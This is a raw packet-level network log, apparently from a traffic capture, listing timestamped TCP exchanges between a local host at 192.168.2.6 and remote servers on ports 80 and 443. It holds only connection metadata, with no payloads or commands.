Nov 27, 2024 11:14:20.764731884 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.764885902 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.764885902 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.764986992 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.766192913 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.766311884 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.766333103 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.766547918 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.767287970 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.767384052 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.767512083 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.768609047 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.768815041 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.769469023 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.769584894 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.769864082 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.769876957 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.769927025 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.769927025 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.788047075 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.788068056 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.788080931 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.788109064 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.788145065 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.788208008 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.788220882 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.788233042 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.788285971 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.788285971 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.788846016 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.788990021 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.821397066 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.821515083 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.821935892 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.822050095 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.822104931 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.822657108 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.822815895 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.823172092 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.823266029 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.823666096 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.823827982 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.824446917 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.824639082 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.824670076 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.824744940 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.825850964 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.825934887 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.826488972 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.826551914 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.826984882 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.827199936 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.827229977 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.827303886 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.828284025 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.828392982 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.828459024 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.828571081 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.829468966 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.829607010 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.829711914 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.829787016 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.830809116 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.831028938 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.831186056 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.831254959 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.832406998 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.832551956 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.832895041 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.832983971 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.833314896 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.833328009 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.833425999 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.834800959 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.834889889 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.835066080 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.835129023 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.835863113 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.836036921 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.836066961 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.836203098 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.836981058 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.837029934 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.838265896 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.838277102 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.838288069 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.838346958 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.838346958 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.839843988 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.839914083 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.840121984 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.840248108 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.840706110 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.840900898 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.841101885 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.841173887 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.919781923 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.919904947 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.920113087 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.920128107 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.920229912 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.921322107 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.921384096 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.921401024 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.921412945 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.921477079 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.922862053 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.922976017 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.923674107 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.923686981 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.923938036 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.924977064 CET	443	49730	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:20.924982071 CET	443	49729	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:20.925673962 CET	49730	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:20.925676107 CET	49729	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:20.925690889 CET	443	49730	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:20.925693035 CET	443	49729	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:20.926083088 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.926129103 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.926141024 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.926152945 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.926179886 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.926280022 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.926367044 CET	49730	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:20.926373005 CET	443	49730	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:20.926403999 CET	49729	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:20.926409006 CET	443	49729	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:20.926836014 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.927165985 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.927412987 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.927426100 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.927620888 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.928539038 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.928736925 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.928881884 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.929033041 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.930151939 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.930515051 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.930847883 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.930860996 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.930931091 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.932178020 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.932228088 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.932240963 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.932255983 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.932318926 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.933393955 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.933784962 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.934143066 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.934273958 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.934875011 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.934887886 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.934931993 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.936367035 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.936525106 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.936844110 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.936857939 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.936903954 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.936903954 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.938021898 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.938047886 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.938059092 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.938076973 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.938199043 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.939230919 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.939436913 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.940485001 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.940494061 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.940502882 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.940613031 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.941870928 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.941947937 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.941977024 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.942270994 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.942790031 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.942903042 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.942995071 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.943121910 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.943964958 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.944072962 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.944266081 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.944369078 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.945174932 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.945400953 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.945430040 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.945463896 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.946474075 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.946576118 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.960016012 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.960175037 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.960202932 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.960252047 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.960571051 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.960664988 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.960824966 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.960865974 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.960896969 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.960946083 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.962054014 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.962199926 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.962229013 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.962363005 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.963318110 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.963433981 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.963457108 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.963537931 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.964529991 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.964843035 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.964889050 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.965192080 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.965681076 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.965692997 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.965800047 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.966847897 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.966948032 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.967324972 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.967422009 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.968075991 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.968270063 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.969240904 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.969248056 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.969276905 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.969305992 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.969409943 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.970465899 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.970479012 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.970570087 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.971662998 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.971772909 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.972037077 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.972538948 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.972806931 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.972975016 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.972981930 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.973777056 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.973978996 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.974354982 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.974420071 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.974533081 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.975142002 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:20.975431919 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:20.977380037 CET	443	49732	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:20.979413033 CET	49732	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:20.979435921 CET	443	49732	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:20.980227947 CET	49732	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:20.980235100 CET	443	49732	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.018455029 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.018543005 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.018573999 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.018805981 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.019001007 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.019165039 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.019710064 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.020030022 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.020260096 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.020273924 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.020406008 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.021373987 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.021569014 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.021595001 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.022332907 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.022614956 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.022825003 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.022933006 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.023782015 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.023900032 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.024029970 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.024156094 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.024971008 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.025492907 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.026150942 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.026195049 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.026207924 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.026269913 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.027357101 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.027896881 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.027926922 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.028245926 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.028589010 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.028603077 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.028680086 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.029746056 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.029897928 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.030664921 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.030735016 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.030927896 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.031053066 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.031150103 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.032160997 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.032331944 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.032351971 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.032423019 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.033374071 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.033387899 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.033658028 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.034569025 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.034766912 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.034797907 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.034934998 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.035723925 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.035840988 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.035903931 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.036933899 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.036936998 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.037014961 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.037028074 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.037094116 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.041687965 CET	443	49731	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.042159081 CET	49731	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.042171001 CET	443	49731	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.042623997 CET	49731	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:21.042628050 CET	443	49731	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:21.089296103 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.089371920 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.089493990 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.089828014 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.089842081 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.089965105 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.090740919 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.090843916 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.090852976 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.090924025 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.091830969 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.091934919 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.091949940 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.092094898 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.092998028 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.093147039 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.093405008 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.094103098 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.094131947 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.094203949 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.094208002 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.094501972 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.095319033 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.095515966 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.095558882 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.095665932 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:21.096457005 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:21.096498966 CET	80	49718	185.215.113.206	192.168.2.6
